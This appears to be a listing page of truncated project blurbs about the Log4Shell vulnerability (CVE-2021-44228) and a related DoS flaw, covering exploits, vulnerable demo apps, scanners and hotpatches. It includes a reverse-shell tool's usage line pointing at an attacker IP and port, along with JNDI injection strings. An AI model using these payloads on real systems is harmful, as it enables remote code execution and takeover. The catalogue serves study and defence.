Log4j2-RCE

Log4j2-RCE Log4j2 CVE-2021-44228 Reproduction and Echo Exploit...

log4j2-rce-recap

Little recap of the log4j2 remote code execution CVE-2021-44228 Requirements maven = 3 java = 8 no running ldap on 127.0.0.1:1389 Usage Build with maven. mvn test The surefire plugin will be executed two times: ExploitabilityTest proofs the expolitability of the bug. MitigationTest will be execut...

log4j2

log4j2 this is a log4j2 jmi attack demo, inspired by link...

log4shell-vulnerable-app

Log4Shell sample vulnerable application CVE-2021-44228 This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1 and the JDK 1.8.0181. Running the application Run it: docker run --name...

log4j-filescan

████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...

log4j2_dos_exploit

Description about author: iAmSoScArEd blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos exploit script CVE-2021-45105 Exploit CVE-2021-45105 exploit script Usage how to use English： Log4j2dos.py -u -m -d -H -l -t...

cloudrasp-log4j2

CloudArmor · 런타임 애플리케이션 자가 보호 모듈 - Log4j2 버전 간체 중국어 이 프로젝트는 Log4j2 CVE-2021-44228 방어를 위해 특별히 제작된 CloudArmor의 로컬 버전입니다. 이 프로젝트를 실행하는 데 네트워크 연결이 필요하지 않습니다. 프로덕션 환경에 배포하기 전에 반드시 테스트하십시오. 애플리케이션 자가 보호 모듈은 RASP 기술을 사용하여 Java 애플리케이션에 프로브를 주입합니다. log4j2 탐지는 실행 컨텍스트를 감지하여 이루어지며, 비웹 비즈니스 프로그램에도 보호를 제공할 수...

Log4j_CVE-2021-44228

Log4j CVE-2021-44228 해결 방법 실제로 Log4j2 Core가 정말로 필요한지 생각해 보세요. 대부분의 경우 여러분의 코드또는 의존하는 일부 서드파티 라이브러리는 Log4j의 Logging API 퍼사드만 필요하며, 다른 백엔드에 로그를 기록할 수 있습니다. 따라서 org.apache.logging.log4j:log4j-core 의존성을 완전히 제외할 수 있습니다. 사용 가능한 여러 "Logging API 브리지" 중 하나를 사용하여 오직 log4j-api를 다른 로깅 구현 백엔드에 연결하세요: 1...

Log4j-PoC

Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

Log4j-Vulnerability

Log4j Vulnerability Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Background on Log4j Alibaba Cloud Security Team publicly disclosed a critical vulnerability CVE-2021-44228 enabling unauthenticated remote code execution against multiple versions of...

log4shell-example

Log4Shell Exploit Test The goal of this project is to demonstrate the log4j cve-2021-44228 exploit vulnerability in a spring-boot setup, and to show how to fix it. This project contains three submodules. One of these has vulnerable code, the other two are patched. How to use this project Run ./mv...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: Import the project in Java IDE as a maven project Run...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 개념 증명 Apache Log4j2 =2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. 고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다. 사전 요구...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

CVE-2021-44228-Demo

CVE-2021-44228-Demo CVE-2021-44228을 활용하여 RMI와 LDAP 두 가지 방식으로 코드를 원격 주입하는 예제입니다. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer와 LdapServer 실행은 Python3에 의존합니...

hotpatch-for-apache-log4j2

Log4jHotPatch 이 도구는 실행 중인 JVM 프로세스에 Java 에이전트를 주입하는 도구입니다. 에이전트는 로드된 모든 org.apache.logging.log4j.core.lookup.JndiLookup 인스턴스의 lookup 메서드를 패치하여 무조건 문자열 "Patched JndiLookup::lookup"을 반환하도록 시도합니다. 이 도구는 Java 프로세스를 재시작하지 않고 Log4j의 CVE-2021-44228 원격 코드 실행 취약점을 해결하기 위해 설계되었습니다. 이 도구는 CVE-2021-45046도 함께...

hotpatch-for-apache-log4j2

Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup". It is designed to addres...

log4j-poc

log4j-poc CVE-2021-44228 Log4Shell용 LDAP RCE 익스플로잇 설명 포트 8080의 데모 Tomcat 8 서버에는 취약한 앱log4shell이 배포되어 있으며, 서버는 user-agent 공격에도 취약합니다. 이 데모의 원격 익스플로잇 앱은 https://github.com/kozmer/log4j-shell-poc 에서 찾은 것을 기반으로 합니다. 이 데모 tomcat 서버Tomcat 8.5.3, Java 1.8.0u51는 로깅에 Log4J2를 사용하도록 재구성되었습니다비표준 구성. 새로운...

Log4jShell-Scan

Overview log4j2 RCE vulnerability CVE-2021-44228 intranet scanner, can be used for vulnerability scanning under the condition of no internet access, helping enterprises quickly discover Log4Shell vulnerabilities. Modified from: https://github.com/fullhunt/log4j-scan JNDIMonitor from:...

checkmk-log4j-scanner

checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...